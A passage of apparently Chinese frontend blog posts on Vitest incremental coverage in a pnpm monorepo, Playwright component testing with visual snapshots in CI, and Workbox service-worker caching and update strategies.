    // 匹配行号范围,格式:@@ -old,count +new,count @@
    if (line.startsWith('@@')) {
      const match = line.match(/\+(\d+)(?:,(\d+))?/)
      if (match) {
        const start = parseInt(match[1])
        const count = parseInt(match[2] ?? '1')
        for (let i = start; i < start + count; i++) {
          result[currentFile]?.push(i)
        }
      }
    }
  }

  return result
}

--diff-filter=ACMR 过滤掉删除的文件,只看新增和修改的。删掉的代码不需要覆盖率。

自定义 Reporter:把增量检测嵌进 Vitest

Vitest 的 Reporter 接口很灵活,可以监听测试生命周期的各个阶段。覆盖率数据在 onFinished 钩子里能拿到。

// reporters/incremental-coverage-reporter.ts
import type { Reporter } from 'vitest/reporters'
import type { Vitest } from 'vitest/node'
import { getChangedLines } from '../scripts/get-changed-lines'
import fs from 'fs'

const THRESHOLD = 80 // 增量覆盖率阈值

export default class IncrementalCoverageReporter implements Reporter {
  ctx!: Vitest

  onInit(ctx: Vitest) {
    this.ctx = ctx
  }

  async onFinished() {
    // 覆盖率 JSON 报告的路径
    const coveragePath = './coverage/coverage-final.json'
    if (!fs.existsSync(coveragePath)) {
      console.log('⚠️  没找到覆盖率数据,跳过增量检测')
      return
    }

    const coverage = JSON.parse(fs.readFileSync(coveragePath, 'utf-8'))
    const changedLines = getChangedLines()
    const failures: string[] = []

    for (const [file, lines] of Object.entries(changedLines)) {
      if (!lines.length) continue

      // 只看 .ts/.tsx/.js/.jsx,忽略配置文件之类的
      if (!/\.[jt]sx?$/.test(file)) continue

      const fileCoverage = coverage[file] || coverage[`./${file}`]
      if (!fileCoverage) {
        // 改了但完全没被任何测试 import → 覆盖率 0
        failures.push(`${file}: 改动未被任何测试覆盖 (0%)`)
        continue
      }

      // statementMap + s 对象:每条语句是否被执行
      const { statementMap, s } = fileCoverage
      let coveredCount = 0
      let totalCount = 0

      for (const [id, stmt] of Object.entries(statementMap) as any) {
        const stmtLines = range(stmt.start.line, stmt.end.line)
        // 这条语句涉及的行,是否跟改动行有交集
        const isChanged = stmtLines.some((l: number) => (lines as number[]).includes(l))
        if (isChanged) {
          totalCount++
          if (s[id] > 0) coveredCount++
        }
      }

      if (totalCount > 0) {
        const pct = Math.round((coveredCount / totalCount) * 100)
        if (pct < THRESHOLD) {
          failures.push(`${file}: 增量覆盖率 ${pct}%,低于阈值 ${THRESHOLD}%`)
        }
      }
    }

    if (failures.length) {
      console.log('\n❌ 增量覆盖率检测未通过:')
      failures.forEach(f => console.log(`   ${f}`))
      process.exitCode = 1 // 让 CI 挂掉
    } else {
      console.log('\n✅ 增量覆盖率检测通过')
    }
  }
}

function range(start: number, end: number): number[] {
  return Array.from({ length: end - start + 1 }, (_, i) => start + i)
}

注册也简单:

// vitest.config.ts
export default defineConfig({
  test: {
    coverage: {
      provider: 'v8',
      reporter: ['json'], // 必须包含 json,自定义 reporter 要读这个
    },
    reporters: [
      'default',
      './reporters/incremental-coverage-reporter.ts',
    ],
  },
})

这里有个坑说一下。coverage-final.json 的文件路径 key,有时候带 ./ 前缀,有时候不带,取决于 Vitest 版本和配置。上面代码里 coverage[file] || coverage['./' + file] 就是在处理这个。我之前被这个坑了半小时,以为是 diff 解析有问题,结果是路径没对上。

Monorepo 下只跑受影响的包

项目用 pnpm workspace,十几个包。每次 PR 全量跑测试,七八分钟。大部分时间浪费在跑那些根本没改动的包上。

思路:根据改动文件判断影响了哪些包,只跑那些包的测试。

// scripts/affected-packages.ts
import { execSync } from 'child_process'
import path from 'path'
import fs from 'fs'

export function getAffectedPackages(baseBranch = 'main'): string[] {
  const changedFiles = execSync(`git diff ${baseBranch} --name-only --diff-filter=ACMR`)
    .toString()
    .trim()
    .split('\n')
    .filter(Boolean)

  // 扫描 packages 目录下的所有包
  const packagesDir = path.resolve('packages')
  const allPackages = fs.readdirSync(packagesDir).filter(name =>
    fs.existsSync(path.join(packagesDir, name, 'package.json'))
  )

  const affected = new Set<string>()

  for (const file of changedFiles) {
    // packages/foo/src/bar.ts → foo
    const match = file.match(/^packages\/([^/]+)\//)
    if (match && allPackages.includes(match[1])) {
      affected.add(match[1])
    }
  }

  return [...affected]
}

但这只处理了「直接改动」。如果 packages/utils 改了,依赖它的 packages/ui 也应该跑测试。

得加上依赖分析:

// 在 getAffectedPackages 里追加依赖链分析
function getDependentsMap(packagesDir: string): Record<string, string[]> {
  const packages = fs.readdirSync(packagesDir).filter(name =>
    fs.existsSync(path.join(packagesDir, name, 'package.json'))
  )

  // 构建反向依赖图:被依赖方 → 依赖方列表
  const dependents: Record<string, string[]> = {}

  for (const pkg of packages) {
    const pkgJson = JSON.parse(
      fs.readFileSync(path.join(packagesDir, pkg, 'package.json'), 'utf-8')
    )
    const allDeps = {
      ...pkgJson.dependencies,
      ...pkgJson.devDependencies,
    }

    for (const dep of Object.keys(allDeps)) {
      // 只关心 workspace 内的依赖,约定 scope 是 @myorg/
      const match = dep.match(/^@myorg\/(.+)/)
      if (match && packages.includes(match[1])) {
        dependents[match[1]] ??= []
        dependents[match[1]].push(pkg)
      }
    }
  }

  return dependents
}

// 递归找到所有受影响的包
function expandAffected(
  directlyAffected: string[],
  dependentsMap: Record<string, string[]>
): string[] {
  const all = new Set(directlyAffected)
  const queue = [...directlyAffected]

  while (queue.length) {
    const pkg = queue.shift()!
    for (const dep of dependentsMap[pkg] ?? []) {
      if (!all.has(dep)) {
        all.add(dep)
        queue.push(dep) // 继续往上找
      }
    }
  }

  return [...all]
}

跑测试的脚本大概长这样:

#!/bin/bash
AFFECTED=$(node scripts/get-affected.mjs)

if [ -z "$AFFECTED" ]; then
  echo "没有受影响的包,跳过测试"
  exit 0
fi

# --filter 是 pnpm 的包过滤语法
for pkg in $AFFECTED; do
  pnpm --filter "@myorg/$pkg" run test -- --coverage
done

实际效果:CI 时间从 7 分多缩到平均 2 分钟出头。改个组件库的样式,不会触发业务逻辑包的测试。

几个值得权衡的点

增量覆盖率阈值设多少合适?

我们设的 80%。一开始想设 100%,但发现有些场景确实不好覆盖——比如某些 catch 分支、某些兼容性判断。强制 100% 会逼着人写无意义的测试,纯粹为了过 CI。80% 是个平衡点,具体数字各团队自己定,关键是要有这个卡口。

statementMap 还是 branchMap?

上面的实现用的是 statementMap,按语句维度统计。也可以用 branchMap 按分支维度统计,更严格一点。我个人倾向先用 statementMap,因为 branchMap 在 v8 provider 下偶尔有些行号对不上的问题,特别是处理 optional chaining 和 nullish coalescing 的时候。等 Vitest 后续版本稳定了再切。

受影响包的判定要不要用 Turborepo / Nx?

如果你已经在用了,直接用它们的 affected 能力就行,比自己写靠谱。Turborepo 的 turbo run test --filter=...[origin/main] 开箱即用。但如果项目没引入这些工具,为了这一个功能引入一整个构建编排系统,有点杀鸡用牛刀。上面那几十行脚本够用了。

根目录改动怎么办?

改了根目录的 tsconfig.jsonvitest.config.ts 这类文件,理论上可能影响所有包。我们的策略是:根目录文件变动 → 全量跑。简单粗暴但安全。

// 在 affected 脚本里加一个判断
const rootChanges = changedFiles.some(f => !f.startsWith('packages/'))
if (rootChanges) {
  console.log('根目录有改动,触发全量测试')
  return allPackages // 返回所有包
}

串起来:CI 流水线的完整流程

大致是这样:

# .github/workflows/test.yml
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0  # 必须拉全量历史,不然 git diff 跑不了

      - uses: pnpm/action-setup@v2
      - uses: actions/setup-node@v4

      - run: pnpm install

      # 1. 算出受影响的包
      - id: affected
        run: echo "packages=$(node scripts/get-affected.mjs)" >> $GITHUB_OUTPUT

      # 2. 对每个受影响的包跑测试 + 覆盖率
      - run: |
          for pkg in ${{ steps.affected.outputs.packages }}; do
            pnpm --filter "@myorg/$pkg" run test -- --coverage
          done

      # 3. 增量覆盖率在每个包的 reporter 里自动检测
      #    失败会 process.exitCode = 1,CI 自然挂掉

fetch-depth: 0 这个别忘了。GitHub Actions 默认 shallow clone,只拉最后一个 commit,git diff main 会报错说找不到 main。之前踩过这个坑,排查了好一会儿才想起来。

聊到这

增量覆盖率不是什么新概念,Java 那边的 JaCoCo 很早就有类似能力。但在前端工具链里,这块一直比较糙,大部分团队还停在全局覆盖率的阶段。

Vitest 的 Reporter 接口给了足够的扩展空间,自己写一个增量检测的 reporter 也就百来行代码。配合 Monorepo 的按需测试,CI 跑得快、卡得准。

Playwright Component Testing 拆到底:组件怎么挂上去的,快照怎么在 CI 里不翻车

2026年3月8日 11:53

Playwright Component Testing 拆到底:组件怎么挂上去的,快照怎么在 CI 里不翻车

你写过单元测试,大概率用的 Jest + Testing Library。组件渲染在 jsdom 里,跑得飞快,但你心里清楚——jsdom 不是真浏览器。CSS 不生效,IntersectionObserver 要 mock,canvas 直接摆烂。

Playwright Component Testing(下面简称 CT)干的事情不一样:它把你的 React/Vue 组件丢进真实浏览器里跑。听起来像 E2E?不是。它没有完整的应用启动流程,只挂载你指定的那个组件。

这篇聊两件事:CT 模式下组件到底怎么挂上去的,以及视觉回归快照在 CI 里怎么搞才不会三天两头炸。

CT 的架构:三个进程在打配合

CT 跑起来之后,背后其实有三个角色:

┌─────────────┐     ┌──────────────┐     ┌──────────────┐
│  Test Runner │────▶│  Dev Server  │────▶│   Browser    │
│  (Node.js)  │     │  (Vite)      │     │  (Chromium)  │
└─────────────┘     └──────────────┘     └──────────────┘
       │                    │                     │
   测试代码             编译组件              真实渲染
   断言逻辑           HMR/bundling          真实 DOM/CSS

Test Runner 就是 Playwright Test 那套,跑在 Node 里。Dev Server 默认是 Vite(也支持 Webpack,但说实话现在没什么理由选 Webpack 了)。Browser 是 Chromium/Firefox/WebKit,真家伙。

关键在于:你的测试代码跑在 Node 里,但组件渲染在浏览器里。这俩是通过 WebSocket 通信的。

这意味着什么?你在测试里 console.log 一个组件的 props,打印在终端。但组件内部的 console.log 打印在浏览器 DevTools 里。刚上手的时候在这个地方困惑过一阵。

组件挂载:mount 背后发生了什么

先看最简单的用法:

// Button.spec.tsx
import { test, expect } from '@playwright/experimental-ct-react'
import { Button } from './Button'

test('点击后文案变化', async ({ mount }) => {
  const component = await mount(<Button label="提交" />)

  await expect(component).toContainText('提交')
  await component.click()
  await expect(component).toContainText('已提交')
})

看着跟 Testing Library 差不多对吧?但 mount 这一步,链路完全不同。

React 的挂载链路

mount(<Button label="提交" />) 执行时,大致经过这几步:

1. Playwright 把 JSX 序列化成一个描述对象(组件路径 + props)
2. 通过 WebSocket 发给浏览器端的 "mount handler"
3. 浏览器端拿到描述,动态 import 对应的组件模块
4. 调用 React.createElement + ReactDOM.createRoot 挂载到一个空的 #root 上
5. 返回一个 Locator 给 Node 端,后续操作都通过这个 Locator

关键代码藏在 playwright-ct-react 包的 registerSource 里:

// 简化版的浏览器端挂载逻辑
window.__playwright_mount = async (rootElement, component) => {
  // component.type 是组件的 import 路径,不是组件本身
  // Vite 已经帮你编译好了,这里直接 resolve
  const Component = await __playwright_resolve(component.type)

  const root = ReactDOM.createRoot(rootElement)
  root.render(React.createElement(Component, component.props, ...component.children))

  return root
}

注意那个 __playwright_resolve——你的组件路径是在编译阶段就确定的。Playwright 的 Vite 插件会扫描测试文件里所有的 import,提前打包好。所以如果你动态拼组件路径,是跑不通的。

Vue 的挂载链路

Vue 的流程类似,但多了一步:

// Vue 的浏览器端挂载
window.__playwright_mount = async (rootElement, component) => {
  const Component = await __playwright_resolve(component.type)

  const app = createApp(Component, component.props)

  // Vue 特有:可以注入 plugins、provide 等
  if (component.hooksConfig) {
    await applyHooks(app, component.hooksConfig)
  }

  app.mount(rootElement)
  return app
}

Vue 比 React 多了个 hooksConfig,对应测试里的 beforeMount 钩子:

// Vue CT 独有的能力:挂载前注入 router、pinia 等
test('带路由的页面组件', async ({ mount }) => {
  const component = await mount(UserProfile, {
    props: { userId: '123' },
    hooksConfig: {
      // 这个配置会传到浏览器端,在 mount 之前执行
      router: true,
      pinia: { initialState: { user: { name: 'test' } } }
    }
  })
})

不过这个 hooksConfig 需要你自己在 playwright/index.ts 里实现对应的 hook 处理逻辑。Playwright 不会帮你自动注入 Vue Router 或 Pinia——它只提供机制,策略你自己定。

一个常见的坑:样式隔离

CT 模式下,组件是挂载在一个空白 HTML 页面上的。你的全局样式、CSS reset、主题变量——统统没有。

// ❌ 组件依赖全局 CSS 变量,但 CT 模式下没加载
// 渲染出来的按钮是白底黑字,跟线上完全不一样
test('按钮样式', async ({ mount }) => {
  const component = await mount(<ThemedButton />)
  // 样式全是错的,测了个寂寞
})

// ✅ 在 playwright/index.tsx 里引入全局样式
// 这个文件是浏览器端的入口,这里 import 的样式会生效
import '../src/styles/globals.css'
import '../src/styles/theme.css'

playwright/index.tsx(React)或 playwright/index.ts(Vue)是浏览器端的入口文件。全局样式、Provider、插件都在这里搞。很多人第一次用 CT 时组件渲染得乱七八糟,十有八九是这个文件没配好。

视觉回归快照:原理不复杂,工程化才是坑

Playwright 的截图对比用起来一行代码的事:

await expect(component).toHaveScreenshot('button-primary.png')

第一次跑,生成基准图。第二次跑,截新图,像素级对比。不一样就报错,同时生成三张图:expected、actual、diff。

对比算法

默认用的是 pixelmatch,逐像素比较。可以配容差:

await expect(component).toHaveScreenshot('card.png', {
  maxDiffPixelRatio: 0.01,    // 允许 1% 的像素差异
  // 或者用绝对值
  // maxDiffPixels: 100,       // 允许 100 个像素不同
  threshold: 0.2,              // 单个像素的颜色容差(0~1)
})

threshold 是给单个像素用的,处理抗锯齿之类的细微差异。maxDiffPixelRatio 是全局的,多少比例的像素不同算"变了"。

这两个值怎么调,完全看你的场景。图表类组件建议放宽一些,纯文本布局可以严一点。没有万能参数,都是试出来的。

CI 集成:这才是真正花时间的地方

本地跑 CT 没什么问题。一上 CI 就各种翻车。

问题一:字体渲染差异

同一个组件,macOS 和 Linux 渲染出来的字体就是不一样。亚像素渲染、字体 hinting、默认字体族——全不同。

# GitHub Actions 示例
jobs:
  visual-test:
    # ✅ 固定操作系统版本,别用 latest
    runs-on: ubuntu-22.04
    container:
      # ✅ 用 Playwright 官方镜像,字体和依赖都预装了
      image: mcr.microsoft.com/playwright:v1.52.0-jammy
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - run: npx playwright test --project=ct

用 Playwright 官方 Docker 镜像是最稳的方案。它预装了各种字体包,渲染结果跟别的用同一镜像的环境高度一致。

但这就引出一个问题:本地开发用 macOS,CI 用 Linux 容器,基准图用谁的?

方案 A:基准图在 CI 上生成,本地开发只跑不对比
方案 B:本地也跑 Docker,保持环境一致
方案 C:维护两套基准图(别选这个,维护成本会让你后悔)

我个人倾向方案 A。基准图只在 CI 上生成和更新,提交到仓库里。本地开发时跑功能测试就行,视觉对比交给 CI。

问题二:快照更新的工作流

快照文件要不要提交到 Git?要。不然 CI 没有基准图可以对比。

但问题来了:快照更新的流程怎么搞?

# 快照更新的 CI workflow
name: Update Snapshots
on:
  workflow_dispatch:  # 手动触发
  pull_request:
    types: [labeled]  # 或者打标签触发

jobs:
  update:
    if: github.event.label.name == 'update-snapshots'
    runs-on: ubuntu-22.04
    container:
      image: mcr.microsoft.com/playwright:v1.52.0-jammy
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.head_ref }}
          token: ${{ secrets.GITHUB_TOKEN }}

      - run: npm ci
      - run: npx playwright test --update-snapshots

      # 自动 commit 更新后的快照
      - name: Commit updated snapshots
        run: |
          git config user.name "github-actions[bot]"
          git config user.email "github-actions[bot]@users.noreply.github.com"
          git add "**/*.png"
          git diff --staged --quiet || git commit -m "chore: update visual snapshots"
          git push

这里有个取舍:自动 commit 快照更新方便是方便,但你得确保 review 流程能 cover 住。不然某个 PR 偷偷改了样式,自动更新快照,没人看 diff 就合了——视觉回归测试等于白做。

我见过比较靠谱的做法是:快照变化时 CI 把 diff 图片贴到 PR comment 里,reviewer 必须肉眼确认。

      - name: Upload diff artifacts
        if: failure()
        uses: actions/upload-artifact@v4
        with:
          name: visual-diff
          path: test-results/  # Playwright 默认把 diff 图存这
          retention-days: 7

问题三:CI 耗时优化

CT 比 Jest 慢,这没法回避。每个测试都要启动浏览器、编译组件、渲染、截图。一个 200 个组件的项目,全跑一遍可能要 5~10 分钟。

几个实际能压缩时间的手段:

// playwright-ct.config.ts
export default defineConfig({
  // 并行跑,worker 数量看 CI 机器配置
  workers: process.env.CI ? 4 : undefined,

  // 只跑 Chromium 就够了,视觉一致性不需要三个浏览器
  projects: [
    {
      name: 'ct',
      use: {
        ...devices['Desktop Chrome'],
        // 固定视口,避免截图尺寸不一致
        viewport: { width: 1280, height: 720 },
      },
    },
  ],

  // Vite 配置
  ctViteConfig: {
    build: {
      // 关掉 sourcemap,CI 上不需要
      sourcemap: false,
    },
  },
})

另一个大招:只跑变更相关的测试。

      # 只跑改动文件关联的 CT 测试
      - name: Run affected tests
        run: |
          CHANGED=$(git diff --name-only origin/main...HEAD -- 'src/components/**')
          if [ -n "$CHANGED" ]; then
            # 把改动的组件路径转成测试文件路径
            TEST_FILES=$(echo "$CHANGED" | sed 's/\.tsx$/.spec.tsx/' | tr '\n' ' ')
            npx playwright test $TEST_FILES
          else
            echo "No component changes, skipping CT"
          fi

粗暴但有效。精确的依赖分析可以用 madge 之类的工具做,但大部分项目用文件名匹配就够了。

CT 的边界:什么时候不该用

CT 不是万能的。几个场景它搞不定或者性价比不高:

路由跳转、多页面流程——这是 E2E 的活。CT 只能挂单个组件(或组件树),没有路由层。

复杂的后端交互——CT 里 mock API 比 E2E 还麻烦。组件内部的 fetch 在浏览器里执行,你得用 page.route() 拦截,不能用 Node 端的 mock。

test('列表加载', async ({ mount, page }) => {
  // 注意:API mock 要在 mount 之前设置
  await page.route('/api/users', async route => {
    await route.fulfill({
      json: [{ id: 1, name: 'test' }]
    })
  })

  const component = await mount(<UserList />)
  await expect(component.getByText('test')).toBeVisible()
})

纯逻辑组件——如果一个组件没有视觉输出(比如一个纯粹管理状态的 Provider),用 Jest 测就行了,没必要启动浏览器。

我的一个经验法则:CT 适合测"长什么样"和"交互后变成什么样"。纯逻辑用 Jest,跨页面流程用 E2E。三层测试不是互相替代的关系。

聊到这

Playwright CT 这套东西,架构上挺优雅的——Vite 编译、真实浏览器渲染、Node 端断言,各司其职。但工程化层面的坑不少,尤其是视觉快照上 CI 之后,字体渲染、环境一致性、快照更新流程,每个都得花时间调。

我觉得它最大的价值不在于替代 Jest,而是补上了 Jest + jsdom 覆盖不到的那块——组件在真实浏览器里长什么样、交互起来对不对。如果你的项目有设计系统或者组件库,CT + 视觉快照这套组合拳值得投入。如果只是业务页面,E2E 可能性价比更高。

对了,CT 目前还是 @playwright/experimental-ct-*,带着 experimental 前缀。API 稳定性上偶尔会有 breaking change,升级的时候留意一下 changelog。

Service Worker 离线缓存这事,没你想的那么简单

2026年3月8日 10:32

Service Worker 离线缓存这事,没你想的那么简单

上个月接了个需求:把公司的 B 端管理系统做成"弱网可用"。产品说得轻巧——"加个离线缓存就行了嘛"。

我当时心想,行,上 Workbox,配几个路由策略,半天搞定。

结果呢?搞了整整一周。

问题不在"能不能缓存",而在"缓存了之后怎么更新"。用户打开页面用的是旧版本、新版本发上去了但 SW 还抱着老文件不放、偶尔还会出现半新半旧的"弗兰肯斯坦"状态——页面一半是新的一半是旧的,直接白屏。

这篇聊聊我最后是怎么用 Workbox 把这套离线缓存做到"能用、能更新、不炸"的。

先搞清楚 SW 的更新机制,不然后面全是坑

很多人对 Service Worker 的生命周期理解停留在 install → activate → fetch,觉得新文件上去了浏览器自动就换了。

没那么简单。

// SW 更新的真实流程:
// 1. 浏览器发现 sw.js 文件内容变了(逐字节比对)
// 2. 下载新 SW,触发 install 事件
// 3. 新 SW 进入 waiting 状态 —— 注意,不是直接激活
// 4. 等所有标签页都关了,新 SW 才 activate
// 5. 下次打开页面,才用新的缓存

// 问题来了:用户不关标签页怎么办?
// 答:新 SW 就一直 waiting,用户一直用旧缓存

这就是经典的"我明明发了新版本,用户看到的还是旧的"。

很多文章教你在 install 里加 skipWaiting(),activate 里加 clients.claim(),一步到位。

self.addEventListener('install', () => {
  self.skipWaiting() // 跳过 waiting,直接激活
})

self.addEventListener('activate', (event) => {
  event.waitUntil(clients.claim()) // 立刻接管所有页面
})

能用,但粗暴。想象一下:用户正在填一个复杂表单,填了半天,SW 突然切了,页面资源全换成新版本,某个接口的响应格式变了——表单直接废了。B 端系统这么搞,会被投诉的。

用 Workbox 搭一套分层缓存策略

Workbox 提供了五种缓存策略,但不是选一种就完事了。不同资源该用不同策略,这事得想清楚。

我最后的分层方案长这样:

import { precacheAndRoute } from 'workbox-precaching'
import { registerRoute } from 'workbox-routing'
import {
  CacheFirst,
  StaleWhileRevalidate,
  NetworkFirst,
} from 'workbox-strategies'
import { ExpirationPlugin } from 'workbox-expiration'
import { CacheableResponsePlugin } from 'workbox-cacheable-response'

// 第一层:构建产物 → precache(预缓存)
// hash 文件名的 JS/CSS,内容变了 hash 就变,天然版本控制
precacheAndRoute(self.__WB_MANIFEST)

// 第二层:图片/字体等静态资源 → CacheFirst
// 这些东西基本不变,命中缓存直接用,省带宽
registerRoute(
  ({ request }) =>
    request.destination === 'image' ||
    request.destination === 'font',
  new CacheFirst({
    cacheName: 'static-assets-v1',
    plugins: [
      new ExpirationPlugin({
        maxEntries: 100,       // 最多缓存 100 个
        maxAgeSeconds: 30 * 24 * 3600, // 30 天过期
      }),
      new CacheableResponsePlugin({
        statuses: [0, 200],    // 0 是 opaque response,跨域资源
      }),
    ],
  })
)

// 第三层:API 请求 → NetworkFirst
// 优先拿新数据,网络挂了才用缓存兜底
registerRoute(
  ({ url }) => url.pathname.startsWith('/api/'),
  new NetworkFirst({
    cacheName: 'api-cache',
    networkTimeoutSeconds: 3, // 3 秒没响应就用缓存
    plugins: [
      new ExpirationPlugin({
        maxEntries: 50,
        maxAgeSeconds: 5 * 60, // API 缓存只留 5 分钟
      }),
    ],
  })
)

// 第四层:HTML 页面 → StaleWhileRevalidate
// 先给旧的用着,后台偷偷更新
registerRoute(
  ({ request }) => request.mode === 'navigate',
  new StaleWhileRevalidate({
    cacheName: 'pages-cache',
  })
)

三个关键决策说一下:

API 用 NetworkFirst 而不是 StaleWhileRevalidate。 B 端系统数据一致性很重要,审批状态、订单数据这些,给用户看过期的可能出事。宁可慢一点,也要优先拿最新的。

HTML 用 StaleWhileRevalidate。 这里比较纠结,我一开始用的 NetworkFirst,但弱网下页面加载体验太差。后来改成先给旧页面、后台更新,配合后面说的版本控制机制,体验好了不少。

静态资源设了 maxEntries 上限。 之前没设,缓存越积越多,有个用户的 Cache Storage 膨胀到 800MB,手机直接卡死。

版本控制:怎么让更新不翻车

分层缓存解决了"缓存什么"的问题,但核心难题还没解决:怎么让新版本平滑上去,不出现半新半旧的状态?

Workbox 的 precache 机制本身带版本控制。构建时会生成一个 manifest:

// 构建产物大概长这样:
self.__WB_MANIFEST = [
  { url: '/js/app.3a7b2c.js', revision: null },  // 文件名带 hash,revision 不需要
  { url: '/js/vendor.9f8e1d.js', revision: null },
  { url: '/index.html', revision: 'v28' },         // 没 hash 的文件需要 revision
  { url: '/manifest.json', revision: 'v3' },
]

文件名带 hash 的,内容一变 hash 就变,precache 自动处理增量更新——只下载变了的文件,没变的直接跳过。这部分 Workbox 做得挺好,不用操心。

麻烦的是 index.html 这类没有 hash 的文件。revision 字段本质上是内容的 hash,靠构建工具生成。但问题在于,index.html 是入口,它引用了哪些 JS/CSS 文件决定了用户加载哪个版本。

如果 SW 更新了 JS 但还在用旧的 index.html,旧 HTML 里引用的是旧 JS hash,新 JS 缓存了但压根不会被加载——经典的版本不一致。

我的处理方式是,在主线程加一层更新检测:

// main.ts —— 应用入口
if ('serviceWorker' in navigator) {
  const registration = await navigator.serviceWorker.register('/sw.js')

  // 检测到新 SW 在 waiting
  registration.addEventListener('updatefound', () => {
    const newWorker = registration.installing
    if (!newWorker) return

    newWorker.addEventListener('statechange', () => {
      if (
        newWorker.state === 'installed' &&
        navigator.serviceWorker.controller // 说明不是首次安装
      ) {
        // 新版本就绪,通知用户
        showUpdateNotification({
          onConfirm: () => {
            newWorker.postMessage({ type: 'SKIP_WAITING' })
          },
        })
      }
    })
  })

  // SW 控制权切换后刷新页面
  let refreshing = false
  navigator.serviceWorker.addEventListener('controllerchange', () => {
    if (refreshing) return
    refreshing = true
    window.location.reload() // 刷新拿新资源
  })
}

SW 那边对应地处理消息:

// sw.js
self.addEventListener('message', (event) => {
  if (event.data?.type === 'SKIP_WAITING') {
    self.skipWaiting() // 用户确认后才跳过 waiting
  }
})

核心思路:不自动 skipWaiting,让用户决定什么时候更新。

弹个不起眼的提示条——"有新版本可用,点击刷新",用户手头事忙完了自己点,不打断操作流。这比强制刷新友好太多了。

增量更新:别让用户每次都全量下载

Precache 的增量更新是文件级别的:100 个文件只改了 3 个,就只下载那 3 个。但有个前提——你的构建配置得配合

踩过一个坑:项目用 Vite 打包,每次构建所有 chunk 的 hash 都变了。明明只改了一行代码,用户得重新下载全部 JS。

原因是 Vite 默认的 manualChunks 配置没做好,所有代码打成几个大 chunk,任何改动都会导致 chunk 内容变化。

// vite.config.ts
export default defineConfig({
  build: {
    rollupOptions: {
      output: {
        // 细粒度拆包,让改动的影响范围最小化
        manualChunks(id) {
          if (id.includes('node_modules')) {
            // 把大的第三方库单独拆出来
            if (id.includes('echarts')) return 'vendor-echarts'
            if (id.includes('lodash')) return 'vendor-lodash'
            if (id.includes('antd') || id.includes('ant-design'))
              return 'vendor-antd'
            return 'vendor' // 其余第三方统一放
          }
          // 业务代码按路由拆
        },
      },
    },
  },
})

拆完之后效果明显:改一个页面组件,只有对应的路由 chunk 的 hash 变了,其他 chunk 不受影响。增量更新从"几乎全量"变成了"真的增量"。

还有一个容易忽略的点:运行时缓存(Runtime Cache)没有增量更新的概念。CacheFirst 策略下,一个 2MB 的图片只要 URL 没变就永远用缓存。这大部分时候是对的,但如果你的图片 URL 不带版本号,改了图片但 URL 一样,用户永远看到旧图。

解法也简单,要么 URL 带 hash/版本号,要么把这类资源的策略从 CacheFirst 改成 StaleWhileRevalidate。

缓存清理:没人提但迟早会炸的事

缓存只进不出,Storage 迟早满。浏览器对 Cache Storage 有配额限制(Chrome 大概是磁盘空间的 60%,但不保证),超了会整个 origin 的数据被清——包括 IndexedDB、localStorage,全没。

ExpirationPlugin 能解决一部分问题,但老版本的 precache 缓存不会自动清理。

Workbox 的 precache 在 activate 阶段会清理旧版本的缓存条目,这部分是自动的。但如果你手动管理了一些缓存,或者 cacheName 改了(比如从 static-assets-v1 升到 v2),旧的 cache 不会自己消失。

// sw.js activate 阶段,手动清理废弃的 cache
self.addEventListener('activate', (event) => {
  const currentCaches = [
    'static-assets-v2',  // 当前版本
    'api-cache',
    'pages-cache',
  ]

  event.waitUntil(
    caches.keys().then((cacheNames) =>
      Promise.all(
        cacheNames
          .filter((name) => !currentCaches.includes(name))
          .filter((name) => !name.startsWith('workbox-precache')) // precache 的让 Workbox 自己管
          .map((name) => {
            console.log('[SW] 删除旧缓存:', name)
            return caches.delete(name)
          })
      )
    )
  )
})

另外一个实用的做法是加个 Storage 用量监控,快满的时候主动清理低优先级缓存:

async function checkStorageQuota() {
  if (!navigator.storage?.estimate) return

  const { usage, quota } = await navigator.storage.estimate()
  const usageRatio = (usage || 0) / (quota || 1)

  if (usageRatio > 0.8) {
    // 用了 80% 以上,清掉过期的运行时缓存
    const cache = await caches.open('static-assets-v2')
    const keys = await cache.keys()
    // 按时间删掉最老的一半
    const toDelete = keys.slice(0, Math.floor(keys.length / 2))
    await Promise.all(toDelete.map((key) => cache.delete(key)))
  }
}

灰度更新:线上不敢一把梭的时候

这是后来加的需求。有一次发版改了个核心组件,结果新版本有 bug,但 SW 已经把新资源 precache 了,用户刷新就加载新版本——回都回不来。

后来加了个简单的灰度机制。SW 安装前先问服务端:"我该不该用新版本?"

// sw.js install 阶段
self.addEventListener('install', (event) => {
  event.waitUntil(
    (async () => {
      const resp = await fetch('/api/sw-config').catch(() => null)

      if (resp?.ok) {
        const config = await resp.json()
        // { version: "2.3.1", rolloutPercent: 30, forceUpdate: false }

        if (!shouldActivate(config)) {
          // 不在灰度范围内,不装新版本
          // 注意:这里不调 skipWaiting,新 SW 会被丢弃
          return
        }
      }

      // 正常执行 precache
      // workbox 的 precache 逻辑在这之后
    })()
  )
})

function shouldActivate(config) {
  // 用 clientId 或者随机数做灰度分桶
  const bucket = Math.random() * 100
  return bucket < config.rolloutPercent
}

说实话这个方案有点糙。Math.random() 每次 install 都重新算,同一个用户可能一会在灰度内一会不在。更好的做法是用 IndexedDB 存一个固定的 clientId 做分桶。但对于我们当时的场景(内部 B 端系统,用户量不大),够用了。

有个问题我到现在也没完全想明白

SW 的 install 事件里如果 precache 失败了(比如某个文件 404),整个 SW 安装就失败了。这意味着一个文件挂了,所有缓存更新都不生效

Workbox 没有提供"部分成功"的能力。要么全装,要么不装。

这在 CDN 发布的时候偶尔会出问题——新文件还没全部同步到 CDN 节点,SW 就开始装了,某个文件 404,安装失败,用户卡在旧版本。下次再访问的时候可能 CDN 同步好了,又能装成功了。但这个时间窗口里的用户体验是不可控的。

我的临时方案是 precache 的文件列表尽量精简,只放入口必须的文件,其他的用运行时缓存按需加载。减少 precache 失败的概率。但根本问题还是没解决。如果有人有更好的方案,真的想听听。

聊到这

SW 离线缓存这套东西,原理不复杂,但工程化做起来全是细节。分层策略、版本控制、增量更新、缓存清理、灰度发布——每一块都不难,串起来就有得折腾了。

我的经验是:先把更新机制想清楚,再去配缓存策略。 大部分线上事故不是"缓存没命中",而是"缓存了但更新不了"。

还有一点,workbox-webpack-pluginvite-plugin-pwa 能帮你省掉很多手动配置的活,但别完全当黑盒用。至少把生成的 sw.js 打开看一眼,知道它干了什么。不然出了问题连排查方向都没有。

